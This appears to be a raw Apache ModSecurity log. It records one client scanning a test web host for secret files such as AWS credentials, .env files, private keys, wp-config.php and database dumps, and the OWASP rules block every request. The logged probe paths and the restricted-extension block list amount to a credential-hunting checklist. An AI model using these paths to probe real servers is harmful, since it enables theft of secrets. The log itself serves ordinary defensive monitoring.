[Fri Jan 17 19:12:50.539524 2025] [:error] [pid 529313] [client 213.232.87.230:34133] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4qdotFCMIKoXJnt9xTmjAAAAA4"]
[Fri Jan 17 19:12:50.539691 2025] [:error] [pid 529313] [client 213.232.87.230:34133] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4qdotFCMIKoXJnt9xTmjAAAAA4"]
[Fri Jan 17 19:12:50.539887 2025] [:error] [pid 529313] [client 213.232.87.230:34133] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4qdotFCMIKoXJnt9xTmjAAAAA4"]
[Fri Jan 17 19:12:50.540066 2025] [:error] [pid 529313] [client 213.232.87.230:34133] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.svn/wc.db"] [unique_id "Z4qdotFCMIKoXJnt9xTmjAAAAA4"]
[Fri Jan 17 19:12:50.547757 2025] [:error] [pid 539859] [client 213.232.87.230:11755] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z4qdogqRLaklUEIxNPTSgQAAACI"]
[Fri Jan 17 19:12:50.548091 2025] [:error] [pid 539859] [client 213.232.87.230:11755] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z4qdogqRLaklUEIxNPTSgQAAACI"]
[Fri Jan 17 19:12:50.548250 2025] [:error] [pid 539859] [client 213.232.87.230:11755] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/server.key"] [unique_id "Z4qdogqRLaklUEIxNPTSgQAAACI"]
[Fri Jan 17 19:12:50.549591 2025] [:error] [pid 539857] [client 213.232.87.230:11785] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z4qdooUhx1A6ZriF0RgBtgAAACA"]
[Fri Jan 17 19:12:50.549887 2025] [:error] [pid 539857] [client 213.232.87.230:11785] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z4qdooUhx1A6ZriF0RgBtgAAACA"]
[Fri Jan 17 19:12:50.550051 2025] [:error] [pid 539857] [client 213.232.87.230:11785] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/service.pwd"] [unique_id "Z4qdooUhx1A6ZriF0RgBtgAAACA"]
[Fri Jan 17 19:12:50.567275 2025] [:error] [pid 539820] [client 213.232.87.230:29367] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z4qdotLiAEscFn6Sg5tLyAAAAAM"]
[Fri Jan 17 19:12:50.567540 2025] [:error] [pid 539820] [client 213.232.87.230:29367] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z4qdotLiAEscFn6Sg5tLyAAAAAM"]
[Fri Jan 17 19:12:50.567699 2025] [:error] [pid 539820] [client 213.232.87.230:29367] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/database.sql"] [unique_id "Z4qdotLiAEscFn6Sg5tLyAAAAAM"]
[Fri Jan 17 19:12:50.568796 2025] [:error] [pid 529311] [client 213.232.87.230:44129] [client 213.232.87.230] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4qdop8TDSlUb3zvsXCA_QAAAAw"]
[Fri Jan 17 19:12:50.568960 2025] [:error] [pid 529311] [client 213.232.87.230:44129] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4qdop8TDSlUb3zvsXCA_QAAAAw"]
[Fri Jan 17 19:12:50.569101 2025] [:error] [pid 529311] [client 213.232.87.230:44129] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Z4qdop8TDSlUb3zvsXCA_QAAAAw"]
[Fri Jan 17 19:12:50.578932 2025] [authz_core:error] [pid 539864] [client 213.232.87.230:14813] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Jan 17 19:12:50.580197 2025] [:error] [pid 539849] [client 213.232.87.230:63775] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z4qdosvllEqaBBHV4MFMCgAAABw"]
[Fri Jan 17 19:12:50.580389 2025] [:error] [pid 539849] [client 213.232.87.230:63775] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z4qdosvllEqaBBHV4MFMCgAAABw"]
[Fri Jan 17 19:12:50.580567 2025] [:error] [pid 539849] [client 213.232.87.230:63775] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "Z4qdosvllEqaBBHV4MFMCgAAABw"]
[Fri Jan 17 19:12:50.581236 2025] [:error] [pid 539860] [client 213.232.87.230:42523] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".pwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/authors.pwd"] [unique_id "Z4qdopAaA2v479d-KO13WwAAACM"]
[Fri Jan 17 19:12:50.581530 2025] [:error] [pid 539860] [client 213.232.87.230:42523] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/authors.pwd"] [unique_id "Z4qdopAaA2v479d-KO13WwAAACM"]
[Fri Jan 17 19:12:50.581722 2025] [:error] [pid 539860] [client 213.232.87.230:42523] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/_vti_pvt/authors.pwd"] [unique_id "Z4qdopAaA2v479d-KO13WwAAACM"]
[Fri Jan 17 19:12:50.586409 2025] [:error] [pid 539847] [client 213.232.87.230:28447] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4qdoifl78q7X1UeYBuxugAAABo"]
[Fri Jan 17 19:12:50.586577 2025] [:error] [pid 539847] [client 213.232.87.230:28447] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "/Web.config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /Web.config found within REQUEST_FILENAME: /web.config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4qdoifl78q7X1UeYBuxugAAABo"]
[Fri Jan 17 19:12:50.586770 2025] [:error] [pid 539847] [client 213.232.87.230:28447] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4qdoifl78q7X1UeYBuxugAAABo"]
[Fri Jan 17 19:12:50.586953 2025] [:error] [pid 539847] [client 213.232.87.230:28447] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4qdoifl78q7X1UeYBuxugAAABo"]
[Fri Jan 17 19:12:51.125414 2025] [:error] [pid 529313] [client 213.232.87.230:42025] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z4qdo9FCMIKoXJnt9xTmjQAAAA4"]
[Fri Jan 17 19:12:51.125850 2025] [:error] [pid 529313] [client 213.232.87.230:42025] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z4qdo9FCMIKoXJnt9xTmjQAAAA4"]
[Fri Jan 17 19:12:51.126067 2025] [:error] [pid 529313] [client 213.232.87.230:42025] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/etc/ssl/private/server.key"] [unique_id "Z4qdo9FCMIKoXJnt9xTmjQAAAA4"]
[Fri Jan 17 19:12:51.129539 2025] [:error] [pid 539847] [client 213.232.87.230:49079] [client 213.232.87.230] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4qdoyfl78q7X1UeYBuxuwAAABo"]
[Fri Jan 17 19:12:51.129720 2025] [:error] [pid 539847] [client 213.232.87.230:49079] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4qdoyfl78q7X1UeYBuxuwAAABo"]
[Fri Jan 17 19:12:51.129896 2025] [:error] [pid 539847] [client 213.232.87.230:49079] [client 213.232.87.230] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "Z4qdoyfl78q7X1UeYBuxuwAAABo"]
[Fri Jan 17 19:12:51.131243 2025] [:error] [pid 539859] [client 213.232.87.230:33079] [client 213.232.87.230] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z4qdowqRLaklUEIxNPTSggAAACI"]
[Fri Jan 17 19:12:51.131523 2025] [:error] [pid 539859] [client 213.232.87.230:33079] [client 213.232.87.230] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dump.sql"] [unique_id "Z4qdowqRLaklUEIxNPTSggAAACI"]
